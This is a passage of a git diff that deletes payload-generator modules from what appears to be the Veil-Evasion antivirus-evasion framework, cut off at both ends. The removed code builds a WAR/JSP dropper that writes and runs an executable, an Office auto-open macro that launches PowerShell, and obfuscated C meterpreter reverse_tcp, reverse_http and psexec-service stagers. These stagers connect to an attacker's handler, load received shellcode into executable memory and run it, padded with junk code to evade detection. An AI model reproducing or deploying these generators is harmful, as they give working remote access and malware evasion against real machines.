FileOutputStream(" + var_exepath + ");\n" - jsp_payload += "int " + var_numbytes + " = " + var_inputstream + ".available();\n" - jsp_payload += "byte " + var_bytearray + "[] = new byte[" + var_numbytes + "];\n" - jsp_payload += var_inputstream + ".read(" + var_bytearray + ");\n" - jsp_payload += var_inputstream + ".close();\n" - jsp_payload += "byte[] " + var_bytes + " = new byte[" + var_numbytes + "/2];\n" - jsp_payload += "for (int " + var_counter + " = 0; " + var_counter + " < " + var_numbytes + "; " + var_counter + " += 2)\n" - jsp_payload += "{\n" - jsp_payload += "char " + var_char1 + " = (char) " + var_bytearray + "[" + var_counter + "];\n" - jsp_payload += "char " + var_char2 + " = (char) " + var_bytearray + "[" + var_counter+ " + 1];\n" - jsp_payload += "int " + var_comb + " = Character.digit(" + var_char1 + ", 16) & 0xff;\n" - jsp_payload += var_comb + " <<= 4;\n" - jsp_payload += var_comb + " += Character.digit(" + var_char2 + ", 16) & 0xff;\n" - jsp_payload += var_bytes + "[" + var_counter + "/2] = (byte)" + var_comb + ";\n" - jsp_payload += "}\n" - jsp_payload += var_outputstream + ".write(" + var_bytes + ");\n" - jsp_payload += var_outputstream + ".close();\n" - jsp_payload += "Process " + var_proc + " = Runtime.getRuntime().exec(" + var_exepath + ");\n" - jsp_payload += "%>\n" - - # Write out the jsp code to file - with open(var_payload + ".jsp", 'w') as jsp_file_out: - jsp_file_out.write(jsp_payload) - - # MANIFEST.MF file contents, and write it out to disk - manifest_file = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n" - with open("MANIFEST.MF", 'w') as man_file: - man_file.write(manifest_file) - - # web.xml file contents - web_xml_contents = "\n" - web_xml_contents += "\n" - web_xml_contents += "\n" - web_xml_contents += "\n" - web_xml_contents += "" + var_name + "\n" - web_xml_contents += "/" + var_payload + ".jsp\n" - web_xml_contents += "\n" - web_xml_contents += "\n" - - # Write the web.xml file to disk - with open("web.xml", 'w') as xml_file: - xml_file.write(web_xml_contents) - - # Create the directories needed for the war file, and move the needed files into them - os.system("mkdir -p META-INF") - os.system("mkdir -p WEB-INF") - os.system("mv -f web.xml WEB-INF/") - os.system("mv -f MANIFEST.MF META-INF/") - - # Make the war file by zipping everything together - myZipFile = zipfile.ZipFile(war_file, 'w') - myZipFile.write(var_payload + ".jsp", var_payload + ".jsp", zipfile.ZIP_DEFLATED) - myZipFile.write(var_hexfile + ".txt", var_hexfile + ".txt", zipfile.ZIP_DEFLATED) - myZipFile.write("META-INF/MANIFEST.MF", "META-INF/MANIFEST.MF", zipfile.ZIP_DEFLATED) - myZipFile.write("WEB-INF/web.xml", "WEB-INF/web.xml", zipfile.ZIP_DEFLATED) - myZipFile.close() - - with open(war_file, 'rb') as f: - payload_code = f.read() - - # Clean up the individual files, you can always unzip the war to see them again - os.system("rm -rf WEB-INF") - os.system("rm -rf META-INF") - os.system("rm -f " + var_payload + ".jsp") - os.system("rm -f " + var_hexfile + ".txt") - os.system("rm -f " + war_file) - - # Return - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/auxiliary/macro_converter.py b/Tools/Evasion/payloads/auxiliary/macro_converter.py deleted file mode 100644 index 1781321..0000000 --- a/Tools/Evasion/payloads/auxiliary/macro_converter.py +++ /dev/null @@ -1,101 +0,0 @@ -""" -This module is designed to take a windows powershell batch script made by -Veil-Evasion powershell/virtual module and convert it to a macro - -Module built by @christruncer but original conversion code was developed by khr040sh. -Blog post available at: - https://khr0x40sh.wordpress.com/2014/06/02/embedding-veil-powershell-payloads-into-office-documents/ -""" - -from lib.common import helpers - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "Auxiliary script which converts Veil's powershell batch script to macro code" - self.language = "powershell" - self.rating = "Normal" - self.extension = "txt" - self.name = "Macro Converter" - self.path = "auxuliary/macro_converter" - self.cli_opts = cli_obj - self.payload_source_code = '' - - self.required_options = { - "POSH_BATCH": ["", "Path to a powershell batch script"], - "ARCHITECTURE": ["x86", "x86 or x64"] - } - - def generate(self): - - # Variables for path to our executable input and war output - orig_posh_batch = self.required_options["POSH_BATCH"][0] - - try: - # read in the executable - with open(orig_posh_batch, 'r') as bat_file: - batch_lines = bat_file.readlines() - - except IOError: - print(helpers.color("\n [!] Powershell Script \"" + orig_posh_batch + "\" not found\n", warning=True)) - return "" - - cut = [] - - for line in batch_lines: - if "@echo off" not in line: - first = line.split('else') - # split on else to truncate the back half - - # split on \" - cut = first[0].split('\\"', 4) - - # get rid of everything before powershell - cut[0] = cut[0].split('%==x86')[1] - cut[0] = cut[0][2:] - - # get rid of trailing parenthesis - cut[2] = cut[2].strip(" ") - cut[2] = cut[2][:-1] - - top = "Sub Workbook_Open()\r\n" - top = top + "Dim str As String\r\n" - top = top + "Dim exec As String\r\n" - - # insert '\r\n' and 'str = str +' every 48 chars after the first 54. - payL = self.formStr("str", str(cut[1])) - - # double up double quotes, add the rest of the exec string - idx = cut[0].index('"') - cut[0] = cut[0][:idx] + '"' + cut[0][idx:] - cut[0] = cut[0] + "\\\"\" \" & str & \" \\\"\" " + cut[2] +"\"" - execStr = self.formStr("exec", str(cut[0])) - - shell = "Shell(exec)" - bottom = "End Sub\r\n\r\n" - - PayloadCode = '' - PayloadCode = top + "\r\n" + payL + "\r\n\r\n" + execStr + "\r\n\r\n" + shell + "\r\n\r\n" + bottom + "\r\n" - - # Return - self.payload_source_code = PayloadCode - return - - def formStr(self, varstr, instr): - holder = [] - str1 = '' - str2 = '' - print(self.required_options['ARCHITECTURE']) - if varstr == "exec" and self.required_options['ARCHITECTURE'][0] == "x64": - str1 = varstr + ' = "C:\\Windows\\syswow64\\windowspowershell\\v1.0\\' + instr[:54] + '"' - else: - str1 = varstr + ' = "' + instr[:54] + '"' - for i in range(54, len(instr), 48): - holder.append(varstr + ' = ' + varstr +' + "' + instr[i:i+48]) - str2 = '"\r\n'.join(holder) - - str2 = str2 + "\"" - str1 = str1 + "\r\n" + str2 - return str1 diff --git a/Tools/Evasion/payloads/auxiliary/pyinstaller_wrapper.py b/Tools/Evasion/payloads/auxiliary/pyinstaller_wrapper.py deleted file mode 100644 index ba4fe53..0000000 --- a/Tools/Evasion/payloads/auxiliary/pyinstaller_wrapper.py +++ /dev/null @@ -1,51 +0,0 @@ -""" -Simple auxiliary module that will take a specified python source -file and compile it to an executable using Pyinstaller. - -Module built by @harmj0y -""" - -from lib.common import helpers -from tools.evasion.evasion_common import encryption - - -class PayloadModule: - - def __init__(self, cli_obj): - - # required options - self.description = "Auxiliary pyinstaller wrapper for python source files" - self.language = "python" - self.rating = "Normal" - self.extension = "py" - self.name = "PyInstaller Wrapper" - self.path = "auxuliary/pyinstaller_wrapper" - self.cli_opts = cli_obj - self.payload_source_code = '' - - self.required_options = { - "PYTHON_SOURCE" : ["", "A Python source file to compile with pyinstaller"], # /path/to/any/python/file.py - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "USE_PYHERION" : ["N", "Use the pyherion encrypter"] - } - - def generate(self): - - PYTHON_SOURCE = self.required_options["PYTHON_SOURCE"][0] - - try: - # read in the python source - with open(PYTHON_SOURCE, 'r') as f: - payload_code = f.read() - - except IOError: - print(helpers.color("\n [!] PYTHON_SOURCE file \"" + PYTHON_SOURCE + "\" not found\n", warning=True)) - return "" - - # example of how to check the internal options - if self.required_options["USE_PYHERION"][0].lower() == "y": - payload_code = encryption.pyherion(payload_code) - - # return everything - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/c/.gitignore b/Tools/Evasion/payloads/c/.gitignore deleted file mode 100644 index 0d20b64..0000000 --- a/Tools/Evasion/payloads/c/.gitignore +++ /dev/null @@ -1 +0,0 @@ -*.pyc diff --git a/Tools/Evasion/payloads/c/__init__.py b/Tools/Evasion/payloads/c/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Evasion/payloads/c/meterpreter/__init__.py b/Tools/Evasion/payloads/c/meterpreter/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Evasion/payloads/c/meterpreter/rev_http.py b/Tools/Evasion/payloads/c/meterpreter/rev_http.py deleted file mode 100644 index d1823fd..0000000 --- a/Tools/Evasion/payloads/c/meterpreter/rev_http.py +++ /dev/null @@ -1,239 +0,0 @@ -""" -Obfuscated, pure C windows/meterpreter/reverse_http - -Implements various randomized string processing functions in an -attempt to obfuscate the call tree. -Also compatible with Cobalt-Strike's Beacon. - -Original reverse_tcp inspiration from: - https://github.com/rsmudge/metasploit-loader - -Module built by @harmj0y -""" - -import random -from tools.evasion.evasion_common import evasion_helpers - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.shortname = "meter_rev_http" - self.description = "pure windows/meterpreter/reverse_http stager, no shellcode" - self.language = "c" - self.extension = "c" - self.rating = "Excellent" - self.name = "Pure C Reverse HTTP Stager" - self.path = "c/meterpreter/rev_http" - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # optional - # options we require user ineraction for- format is {Option : [Value, Description]]} - self.required_options = { - "LHOST" : ["", "IP of the Metasploit handler"], - "LPORT" : ["8080", "Port of the Metasploit handler"], - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"] - } - - def generate(self): - - sumvalue_name = evasion_helpers.randomString() - checksum_name = evasion_helpers.randomString() - winsock_init_name = evasion_helpers.randomString() - punt_name = evasion_helpers.randomString() - wsconnect_name = evasion_helpers.randomString() - - # the real includes needed - includes = [ "#include " , "#include ", "#include ", "#include ", "#include "] - - # max length string for obfuscation - global_max_string_length = 10000 - max_string_length = random.randint(100,global_max_string_length) - max_num_strings = 10000 - - # TODO: add in more string processing functions - randName1 = evasion_helpers.randomString() # reverse() - randName2 = evasion_helpers.randomString() # doubles characters - stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i", "#include ", "#include ", "#include ", "#include ", - "#include ", "#include "] - for x in range(1, random.randint(1,7)): - includes.append(fake_includes[x]) - - # shuffle up real/fake includes - random.shuffle(includes) - - code = "#define _WIN32_WINNT 0x0500\n" - code += "#include \n" - code += "\n".join(includes) + "\n" - - #string mod functions - code += stringModFunctions[0][1] + "\n" - code += stringModFunctions[1][1] + "\n" - - # build the sumValue function - string_arg_name = evasion_helpers.randomString() - retval_name = evasion_helpers.randomString() - code += "int %s(char %s[]) {" % (sumvalue_name, string_arg_name) - code += "int %s=0; int i;" %(retval_name) - code += "for (i=0; i" , "#include ", "#include ", "#include ", "#include "] - - # max length string for obfuscation - global_max_string_length = 10000 - max_string_length = random.randint(100,global_max_string_length) - max_num_strings = 10000 - - # TODO: add in more string processing functions - randName1 = evasion_helpers.randomString() # reverse() - randName2 = evasion_helpers.randomString() # doubles characters - stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i", "#include ", "#include ", "#include ", "#include ", - "#include ", "#include "] - for x in range(1, random.randint(1,7)): - includes.append(fake_includes[x]) - - # shuffle up real/fake includes - random.shuffle(includes) - - code = "#define _WIN32_WINNT 0x0500\n" - code += "#include \n" - code += "\n".join(includes) + "\n" - - #real - service related headers (check the stub) - hStatusName = evasion_helpers.randomString() - serviceHeaders = ["SERVICE_STATUS ServiceStatus;","SERVICE_STATUS_HANDLE %s;" %(hStatusName), "void ServiceMain(int argc, char** argv);", "void ControlHandler(DWORD request);"] - random.shuffle(serviceHeaders) - - code += "\n".join(serviceHeaders) - - #string mod functions - code += stringModFunctions[0][1] + "\n" - code += stringModFunctions[1][1] + "\n" - - # build the sumValue function - string_arg_name = evasion_helpers.randomString() - retval_name = evasion_helpers.randomString() - code += "int %s(char %s[]) {" % (sumvalue_name, string_arg_name) - code += "int %s=0; int i;" %(retval_name) - code += "for (i=0; i" , "#include ", "#include ", "#include "] - - # max length string for obfuscation - global_max_string_length = 10000 - max_string_length = random.randint(100,global_max_string_length) - max_num_strings = 10000 - - # TODO: add in more string processing functions - randName1 = evasion_helpers.randomString() # reverse() - randName2 = evasion_helpers.randomString() # doubles characters - stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i", "#include ", "#include ", "#include ", "#include ", - "#include ", "#include "] - for x in range(1, random.randint(1,7)): - includes.append(fake_includes[x]) - - # shuffle up real/fake includes - random.shuffle(includes) - - code = "#define _WIN32_WINNT 0x0500\n" - code += "#include \n" - code += "\n".join(includes) + "\n" - - #string mod functions - code += stringModFunctions[0][1] + "\n" - code += stringModFunctions[1][1] + "\n" - - # build the winsock_init function - wVersionRequested_name = evasion_helpers.randomString() - wsaData_name = evasion_helpers.randomString() - code += "void %s() {" % (winsock_init_name) - code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % (wVersionRequested_name, evasion_helpers.obfuscateNum(2,4), evasion_helpers.obfuscateNum(2,4), wsaData_name) - code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" %(wVersionRequested_name,wsaData_name) - - # first logical nop string function - code += stringGenFunctions[0][1] + "\n" - - # build punt function - my_socket_name = evasion_helpers.randomString() - code += "void %s(SOCKET %s) {" %(punt_name, my_socket_name) - code += "closesocket(%s);" %(my_socket_name) - code += "WSACleanup();" - code += "exit(1);}\n" - - # second logical nop string function - code += stringGenFunctions[1][1] + "\n" - - # build recv_all function - my_socket_name = evasion_helpers.randomString() - buffer_name = evasion_helpers.randomString() - len_name = evasion_helpers.randomString() - code += "int %s(SOCKET %s, void * %s, int %s){" %(recv_all_name, my_socket_name, buffer_name, len_name) - code += "int slfkmklsDSA=0;int rcAmwSVM=0;" - code += "void * startb = %s;" %(buffer_name) - code += "while (rcAmwSVM < %s) {" %(len_name) - code += "slfkmklsDSA = recv(%s, (char *)startb, %s - rcAmwSVM, 0);" %(my_socket_name, len_name) - code += "startb += slfkmklsDSA; rcAmwSVM += slfkmklsDSA;" - code += "if (slfkmklsDSA == SOCKET_ERROR) %s(%s);} return rcAmwSVM; }\n" %(punt_name, my_socket_name) - - # third logical nop string function - code += stringGenFunctions[2][1] + "\n" - - # build wsconnect function - target_name = evasion_helpers.randomString() - sock_name = evasion_helpers.randomString() - my_socket_name = evasion_helpers.randomString() - code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % (wsconnect_name, target_name, sock_name, my_socket_name) - code += "%s = socket(AF_INET, SOCK_STREAM, 0);" %(my_socket_name) - code += "if (%s == INVALID_SOCKET) %s(%s);" %(my_socket_name, punt_name, my_socket_name); - code += "%s = gethostbyname(\"%s\");" %(target_name, self.required_options["LHOST"][0]) - code += "if (%s == NULL) %s(%s);" %(target_name, punt_name, my_socket_name) - code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" %(sock_name, target_name, target_name) - code += "%s.sin_family = AF_INET;" %(sock_name) - code += "%s.sin_port = htons(%s);" %(sock_name, evasion_helpers.obfuscateNum(int(self.required_options["LPORT"][0]),32)) - code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" %(my_socket_name, sock_name, sock_name, punt_name, my_socket_name) - code += "return %s;}\n" %(my_socket_name) - - # build main() code - size_name = evasion_helpers.randomString() - buffer_name = evasion_helpers.randomString() - function_name = evasion_helpers.randomString() - my_socket_name = evasion_helpers.randomString() - count_name = evasion_helpers.randomString() - - # obfuscation stuff - char_array_name_1 = evasion_helpers.randomString() - number_of_strings_1 = random.randint(1,max_num_strings) - char_array_name_2 = evasion_helpers.randomString() - number_of_strings_2 = random.randint(1,max_num_strings) - char_array_name_3 = evasion_helpers.randomString() - number_of_strings_3 = random.randint(1,max_num_strings) - - code += "int main(int argc, char * argv[]) {" - code += "ShowWindow( GetConsoleWindow(), SW_HIDE );" - code += "ULONG32 %s;" %(size_name) - code += "char * %s;" %(buffer_name) - code += "int i;" - code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1) - code += "void (*%s)();" %(function_name) - - # malloc our first string obfuscation array - code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_1, char_array_name_1, random.randint(max_string_length,global_max_string_length)) - - code += "%s();" %(winsock_init_name) - code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2) - code += "SOCKET %s = %s();" %(my_socket_name,wsconnect_name) - - # malloc our second string obfuscation array - code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_2, char_array_name_2, random.randint(max_string_length,global_max_string_length)) - - code += "int %s = recv(%s, (char *)&%s, %s, 0);" % (count_name, my_socket_name, size_name, evasion_helpers.obfuscateNum(4,2)) - code += "if (%s != %s || %s <= 0) %s(%s);" %(count_name, evasion_helpers.obfuscateNum(4,2), size_name, punt_name, my_socket_name) - - code += "%s = VirtualAlloc(0, %s + %s, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" %(buffer_name, size_name, evasion_helpers.obfuscateNum(5,2)) - code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3) - - # first string obfuscation method - code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_1, char_array_name_1, stringGenFunctions[0][0]) - - # real code - code += "if (%s == NULL) %s(%s);" %(buffer_name, punt_name, my_socket_name) - code += "%s[0] = 0xBF;" %(buffer_name) - code += "memcpy(%s + 1, &%s, %s);" %(buffer_name, my_socket_name, evasion_helpers.obfuscateNum(4,2)) - - # malloc our third string obfuscation array - code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_3, char_array_name_3, random.randint(max_string_length,global_max_string_length)) - - # second string obfuscation method - code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_2, char_array_name_2, stringGenFunctions[1][0]) - - # real code - code += "%s = %s(%s, %s + %s, %s);" %(count_name, recv_all_name, my_socket_name, buffer_name, evasion_helpers.obfuscateNum(5,2), size_name) - code += "%s = (void (*)())%s;" %(function_name, buffer_name) - code += "%s();" %(function_name) - - # third string obfuscation method (never called) - code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_3, char_array_name_3, stringGenFunctions[2][0]) - - code += "return 0;}\n" - - self.payload_source_code = code - return diff --git a/Tools/Evasion/payloads/c/meterpreter/rev_tcp_service.py b/Tools/Evasion/payloads/c/meterpreter/rev_tcp_service.py deleted file mode 100644 index a98e2d0..0000000 --- a/Tools/Evasion/payloads/c/meterpreter/rev_tcp_service.py +++ /dev/null @@ -1,291 +0,0 @@ -""" -Obfuscated, pure C windows/meterpreter/reverse_tcp service - -Compatible with psexec - -Implements various randomized string processing functions in an -attempt to obfuscate the call tree. - -Inspiration from: - https://github.com/rsmudge/metasploit-loader - -Module built by @harmj0y -""" - -import random -from tools.evasion.evasion_common import evasion_helpers - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_tcp windows service stager compatible with psexec, no shellcode" - self.language = "c" - self.extension = "c" - self.rating = "Excellent" - self.name = "C Reverse TCP Service" - self.path = "c/meterpreter/rev_tcp_service" - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # optional - # options we require user ineraction for- format is {Option : [Value, Description]]} - self.required_options = { - "LHOST" : ["", "IP of the Metasploit handler"], - "LPORT" : ["4444", "Port of the Metasploit handler"], - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"] - } - - def generate(self): - - winsock_init_name = evasion_helpers.randomString() - punt_name = evasion_helpers.randomString() - recv_all_name = evasion_helpers.randomString() - wsconnect_name = evasion_helpers.randomString() - - # the real includes needed - includes = [ "#include " , "#include ", "#include ", "#include "] - - # max length string for obfuscation - global_max_string_length = 10000 - max_string_length = random.randint(100,global_max_string_length) - max_num_strings = 10000 - - - # TODO: add in more string processing functions - randName1 = evasion_helpers.randomString() # reverse() - randName2 = evasion_helpers.randomString() # doubles characters - stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i", "#include ", "#include ", "#include ", "#include ", - "#include ", "#include "] - for x in range(1, random.randint(1,7)): - includes.append(fake_includes[x]) - - # obsufcation - shuffle up our real and fake includes - random.shuffle(includes) - - code = "#define _WIN32_WINNT 0x0500\n" - code += "#include \n" - code += "\n".join(includes) + "\n" - - - # real - service related headers (check the stub) - hStatusName = evasion_helpers.randomString() - serviceHeaders = ["SERVICE_STATUS ServiceStatus;","SERVICE_STATUS_HANDLE %s;" %(hStatusName), "void ServiceMain(int argc, char** argv);", "void ControlHandler(DWORD request);"] - random.shuffle(serviceHeaders) - - code += "\n".join(serviceHeaders) - - # obsufcation - string mod functions - code += stringModFunctions[0][1] + "\n" - code += stringModFunctions[1][1] + "\n" - - # real - build the winsock_init function - wVersionRequested_name = evasion_helpers.randomString() - wsaData_name = evasion_helpers.randomString() - code += "void %s() {" % (winsock_init_name) - code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % (wVersionRequested_name, evasion_helpers.obfuscateNum(2,4),evasion_helpers.obfuscateNum(2,4), wsaData_name) - code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" %(wVersionRequested_name,wsaData_name) - - # first logical nop string function - code += stringGenFunctions[0][1] + "\n" - - # real - build punt function - my_socket_name = evasion_helpers.randomString() - code += "void %s(SOCKET %s) {" %(punt_name, my_socket_name) - code += "closesocket(%s);" %(my_socket_name) - code += "WSACleanup();" - code += "exit(1);}\n" - - # obsufcation - second logical nop string function - code += stringGenFunctions[1][1] + "\n" - - # real - build recv_all function - my_socket_name = evasion_helpers.randomString() - buffer_name = evasion_helpers.randomString() - len_name = evasion_helpers.randomString() - code += "int %s(SOCKET %s, void * %s, int %s){" %(recv_all_name, my_socket_name, buffer_name, len_name) - code += "int slfkmklsDSA=0;int rcAmwSVM=0;" - code += "void * startb = %s;" %(buffer_name) - code += "while (rcAmwSVM < %s) {" %(len_name) - code += "slfkmklsDSA = recv(%s, (char *)startb, %s - rcAmwSVM, 0);" %(my_socket_name, len_name) - code += "startb += slfkmklsDSA; rcAmwSVM += slfkmklsDSA;" - code += "if (slfkmklsDSA == SOCKET_ERROR) %s(%s);} return rcAmwSVM; }\n" %(punt_name, my_socket_name) - - # obsufcation - third logical nop string function - code += stringGenFunctions[2][1] + "\n" - - # real - build wsconnect function - target_name = evasion_helpers.randomString() - sock_name = evasion_helpers.randomString() - my_socket_name = evasion_helpers.randomString() - code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % (wsconnect_name, target_name, sock_name, my_socket_name) - code += "%s = socket(AF_INET, SOCK_STREAM, 0);" %(my_socket_name) - code += "if (%s == INVALID_SOCKET) %s(%s);" %(my_socket_name, punt_name, my_socket_name); - code += "%s = gethostbyname(\"%s\");" %(target_name, self.required_options["LHOST"][0]) - code += "if (%s == NULL) %s(%s);" %(target_name, punt_name, my_socket_name) - code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" %(sock_name, target_name, target_name) - code += "%s.sin_family = AF_INET;" %(sock_name) - code += "%s.sin_port = htons(%s);" %(sock_name, evasion_helpers.obfuscateNum(int(self.required_options["LPORT"][0]),32)) - code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" %(my_socket_name, sock_name, sock_name, punt_name, my_socket_name) - code += "return %s;}\n" %(my_socket_name) - - - # real - main() method for the service code - serviceName = evasion_helpers.randomString() - code += "void main() { SERVICE_TABLE_ENTRY ServiceTable[2];" - serviceTableEntries = [ "ServiceTable[0].lpServiceName = \"%s\";" %(serviceName), - "ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;", - "ServiceTable[1].lpServiceName = NULL;", - "ServiceTable[1].lpServiceProc = NULL;"] - random.shuffle(serviceTableEntries) - code += "\n".join(serviceTableEntries) - code += "StartServiceCtrlDispatcher(ServiceTable);}\n" - - - # real - service status options for us to shuffle - serviceStatusOptions = ["ServiceStatus.dwWin32ExitCode = 0;", - "ServiceStatus.dwCurrentState = SERVICE_START_PENDING;", - "ServiceStatus.dwWaitHint = 0;", - "ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;", - "ServiceStatus.dwServiceSpecificExitCode = 0;", - "ServiceStatus.dwCheckPoint = 0;", - "ServiceStatus.dwServiceType = SERVICE_WIN32;"] - random.shuffle(serviceStatusOptions) - - # real - serviceMain() code - code += "void ServiceMain(int argc, char** argv) {\n" - code += "\n".join(serviceStatusOptions) - - code += "%s = RegisterServiceCtrlHandler( \"%s\", (LPHANDLER_FUNCTION)ControlHandler);" %(hStatusName, serviceName) - code += "if (%s == (SERVICE_STATUS_HANDLE)0) return;" %(hStatusName) - code += "ServiceStatus.dwCurrentState = SERVICE_RUNNING;" - code += "SetServiceStatus (%s, &ServiceStatus);" %(hStatusName) - - code += "while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) {\n" - - # obsufcation - random variable names - size_name = evasion_helpers.randomString() - buffer_name = evasion_helpers.randomString() - function_name = evasion_helpers.randomString() - my_socket_name = evasion_helpers.randomString() - count_name = evasion_helpers.randomString() - - # obsufcation - necessary declarations - char_array_name_1 = evasion_helpers.randomString() - number_of_strings_1 = random.randint(1,max_num_strings) - char_array_name_2 = evasion_helpers.randomString() - number_of_strings_2 = random.randint(1,max_num_strings) - char_array_name_3 = evasion_helpers.randomString() - number_of_strings_3 = random.randint(1,max_num_strings) - - # real - necessary declarations - code += "ULONG32 %s;" %(size_name) - code += "char * %s;" %(buffer_name) - code += "int i;" - code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1) - code += "void (*%s)();" %(function_name) - - # obsufcation - malloc our first string obfuscation array - code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_1, char_array_name_1, random.randint(max_string_length,global_max_string_length)) - - code += "%s();" %(winsock_init_name) - code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2) - code += "SOCKET %s = %s();" %(my_socket_name,wsconnect_name) - - # obsufcation - malloc our second string obfuscation array - code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_2, char_array_name_2, random.randint(max_string_length,global_max_string_length)) - - # real - receive the 4 byte size from the handler - code += "int %s = recv(%s, (char *)&%s, %s, 0);" % (count_name, my_socket_name, size_name, evasion_helpers.obfuscateNum(4,2)) - # real - punt the socket if something goes wrong - code += "if (%s != %s || %s <= 0) %s(%s);" %(count_name, evasion_helpers.obfuscateNum(4,2), size_name, punt_name, my_socket_name) - - # real - virtual alloc space for the meterpreter .dll - code += "%s = VirtualAlloc(0, %s + %s, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" %(buffer_name, size_name, evasion_helpers.obfuscateNum(5,2)) - - # obsufcation - declare space for our 3 string obfuscation array - code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3) - - # obsufcation - first string obfuscation method - code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_1, char_array_name_1, stringGenFunctions[0][0]) - - # real - check if the buffer received is null, if so punt the socket - code += "if (%s == NULL) %s(%s);" %(buffer_name, punt_name, my_socket_name) - - # real - prepend some buffer magic to push the socket number onto the stack - code += "%s[0] = 0xBF;" %(buffer_name) - # real- copy the 4 magic bytes into the buffer - code += "memcpy(%s + 1, &%s, %s);" %(buffer_name, my_socket_name, evasion_helpers.obfuscateNum(4,2)) - - # obsufcation - malloc our third string obfuscation array - code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_3, char_array_name_3, random.randint(max_string_length,global_max_string_length)) - - # obsufcation - second string obfuscation method - code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_2, char_array_name_2, stringGenFunctions[1][0]) - - # real - receive all data from the socket - code += "%s = %s(%s, %s + %s, %s);" %(count_name, recv_all_name, my_socket_name, buffer_name, evasion_helpers.obfuscateNum(5,2), size_name) - code += "%s = (void (*)())%s;" %(function_name, buffer_name) - code += "%s();" %(function_name) - - # obsufcation - third string obfuscation method (never called) - code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_3, char_array_name_3, stringGenFunctions[2][0]) - - code += "} return; }\n" - - # service control handler code - code += """void ControlHandler(DWORD request) - { - switch(request) - { - case SERVICE_CONTROL_STOP: - ServiceStatus.dwWin32ExitCode = 0; - ServiceStatus.dwCurrentState = SERVICE_STOPPED; - SetServiceStatus (%s, &ServiceStatus); - return; - case SERVICE_CONTROL_SHUTDOWN: - ServiceStatus.dwWin32ExitCode = 0; - ServiceStatus.dwCurrentState = SERVICE_STOPPED; - SetServiceStatus (%s, &ServiceStatus); - return; - default: - break; - } - SetServiceStatus (%s, &ServiceStatus); - return; - } - """ %(hStatusName, hStatusName, hStatusName) - - self.payload_source_code = code - return diff --git a/Tools/Evasion/payloads/cs/.gitignore b/Tools/Evasion/payloads/cs/.gitignore deleted file mode 100644 index 0d20b64..0000000 --- a/Tools/Evasion/payloads/cs/.gitignore +++ /dev/null @@ -1 +0,0 @@ -*.pyc diff --git a/Tools/Evasion/payloads/cs/__init__.py b/Tools/Evasion/payloads/cs/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git 